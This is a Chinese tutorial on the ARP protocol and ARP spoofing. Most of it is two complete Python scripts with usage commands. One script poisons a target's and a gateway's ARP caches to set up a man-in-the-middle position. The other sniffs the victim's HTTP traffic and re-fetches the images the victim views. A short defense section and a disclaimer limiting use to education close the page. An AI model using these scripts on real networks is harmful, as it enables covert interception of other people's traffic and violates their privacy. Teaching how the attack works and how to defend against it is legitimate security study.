ARP协议分析&python编程实现ARP欺骗抓图片
字数 1521 2025-08-18 11:37:02
ARP协议分析与Python实现ARP欺骗攻击
1. ARP协议基础
1.1 ARP协议概述
ARP(Address Resolution Protocol)地址解析协议是一种工作在网络层的协议,用于将IP地址转换为MAC地址(物理地址)。
1.2 ARP工作原理
- 在OSI七层模型中,IP地址位于第三层(网络层),MAC地址位于第二层(数据链路层)
- 二层设备无法识别IP地址,只能识别MAC地址
- 局域网内机器通信需要先获取对方的物理地址
1.3 ARP数据包结构
ARP请求包字段:
- op: 1 (表示ARP请求)
- hwsrc: 发送方MAC地址(本机MAC)
- psrc: 发送方IP地址(本机IP)
- hwdst: 目标MAC地址(初始为00:00:00:00:00:00)
- pdst: 目标IP地址(通常为网关IP)
ARP响应包字段:
- op: 2 (表示ARP响应)
- hwsrc: 发送方MAC地址(网关MAC)
- psrc: 发送方IP地址(网关IP)
- hwdst: 目标MAC地址(请求方MAC)
- pdst: 目标IP地址(请求方IP)
2. ARP欺骗攻击原理
2.1 基本概念
ARP欺骗(ARP Spoofing)是一种中间人攻击技术,通过发送伪造的ARP响应包来欺骗目标主机和网关。
2.2 攻击流程
- 攻击者向目标主机发送伪造ARP响应,声称网关MAC地址是攻击者MAC
- 目标主机更新ARP缓存表,将网关IP映射到攻击者MAC
- 攻击者向网关发送伪造ARP响应,声称目标主机MAC是攻击者MAC
- 网关更新ARP缓存表,将目标主机IP映射到攻击者MAC
- 所有流量经过攻击者主机(可开启IP转发实现中间人攻击)
2.3 攻击效果
- 单向欺骗:仅欺骗目标主机(实现断网攻击)
- 双向欺骗:同时欺骗目标主机和网关(实现中间人攻击)
3. Python实现ARP欺骗攻击
3.1 所需环境
- Kali Linux操作系统
- Python 2.7.x
- Scapy库(用于构造和发送网络数据包)
- 支持的无线网卡(如RT3070)
3.2 安装依赖
pip install scapy
3.3 ARP攻击脚本(arpattack.py)
from scapy.all import *
from optparse import OptionParser
import sys
def main():
usage = "Usage: [-i interface] [-t targetip] [-g gatewayip]"
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='select interface(input eth0 or wlan0 or more)')
parser.add_option('-t', dest='targetip', help='select ip to spoof')
parser.add_option('-g', dest='gatewayip', help='input gateway ip')
(options, args) = parser.parse_args()
if options.interface and options.targetip and options.gatewayip:
interface = options.interface
tip = options.targetip
gip = options.gatewayip
spoof(interface, tip, gip)
else:
parser.print_help()
sys.exit(0)
def spoof(interface, tip, gip):
localmac = get_if_hwaddr(interface)
tmac = getmacbyip(tip)
gmac = getmacbyip(gip)
# 构造欺骗目标主机的ARP包
ptarget = Ether(src=localmac, dst=tmac)/ARP(hwsrc=localmac, psrc=gip, hwdst=tmac, pdst=tip, op=2)
# 构造欺骗网关的ARP包
pgateway = Ether(src=localmac, dst=gmac)/ARP(hwsrc=localmac, psrc=tip, hwdst=gmac, pdst=gip, op=2)
try:
while 1:
sendp(ptarget, inter=2, iface=interface)
print "send arp reponse to target(%s), gateway(%s) macaddress is %s" % (tip, gip, localmac)
sendp(pgateway, inter=2, iface=interface)
print "send arp reponse to gateway(%s), target(%s) macaddress is %s" % (gip, tip, localmac)
except KeyboardInterrupt:
sys.exit(0)
if __name__ == '__main__':
main()
3.4 脚本使用说明
python arpattack.py -i wlan0 -t 192.168.0.108 -g 192.168.0.1
参数说明:
-i: 指定网卡接口(eth0或wlan0)-t: 指定目标IP地址-g: 指定网关IP地址
3.5 关键函数解析
get_if_hwaddr("网卡名称"): 获取指定网卡的MAC地址getmacbyip("IP地址"): 通过ARP协议获取指定IP的MAC地址Ether(): 构造以太网数据包头ARP(): 构造ARP数据包sendp(): 发送二层数据包
4. 流量捕获与图片窃取
4.1 所需工具
- pcap库: 捕获网卡数据包
- dpkt库: 解析数据包
- PIL库: 处理图片
安装命令:
apt-get install libpcap-dev
pip install pypcap
pip install dpkt
pip install PIL
4.2 图片窃取脚本(stealimg.py)
import pcap
import dpkt
import re
import requests
from PIL import Image
from io import BytesIO
from optparse import OptionParser
import sys
urllist = []
def main():
usage = "Usage: [-i interface]"
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='select interface(input eth0 or wlan0 or more)')
(options, args) = parser.parse_args()
if options.interface:
interface = options.interface
pc = pcap.pcap(interface)
pc.setfilter('tcp port 80')
for ptime, pdata in pc:
getimg(pdata)
else:
parser.print_help()
sys.exit(0)
def getimg(pdata):
global urllist
p = dpkt.ethernet.Ethernet(pdata)
if p.data.__class__.__name__ == 'IP':
if p.data.data.__class__.__name__ == 'TCP':
if p.data.data.dport == 80:
pa = re.compile(r'GET (.*?\.jpg)')
img = re.findall(pa, p.data.data.data)
if img != []:
lines = p.data.data.data.split('\n')
for line in lines:
if 'Host:' in line:
url = 'http://' + line.split(':')[-1].strip() + img[-1]
if url not in urllist:
urllist.append(url)
if 'Referer:' in p.data.data.data:
for line in lines:
if 'Referer:' in line:
referer = line.split(':')[-1].strip()
print url
r = requests.get(url, headers={'Referer': referer})
img = Image.open(BytesIO(r.content))
img.show()
else:
r = requests.get(url)
img = Image.open(BytesIO(r.content))
img.show()
else:
pass
if __name__ == '__main__':
main()
4.3 脚本使用说明
python stealimg.py -i wlan0
4.4 工作原理
- 捕获经过网卡的所有HTTP流量(tcp 80端口)
- 使用正则表达式过滤图片请求(GET *.jpg)
- 提取图片URL并下载显示
- 对于需要Referer的网站(如百度),自动添加Referer头
5. 防御措施
5.1 静态ARP绑定
在主机和网关设置静态ARP条目:
arp -s 网关IP 网关MAC
5.2 使用ARP防火墙
安装ARP防火墙软件,检测并阻止异常ARP包
5.3 网络设备防护
- 启用交换机的端口安全功能
- 配置DHCP Snooping
- 启用动态ARP检测(DAI)
6. 法律与道德声明
ARP欺骗攻击属于网络攻击行为,未经授权的网络渗透和监听可能违反法律。本文仅用于网络安全教育和技术研究目的,请勿用于非法用途。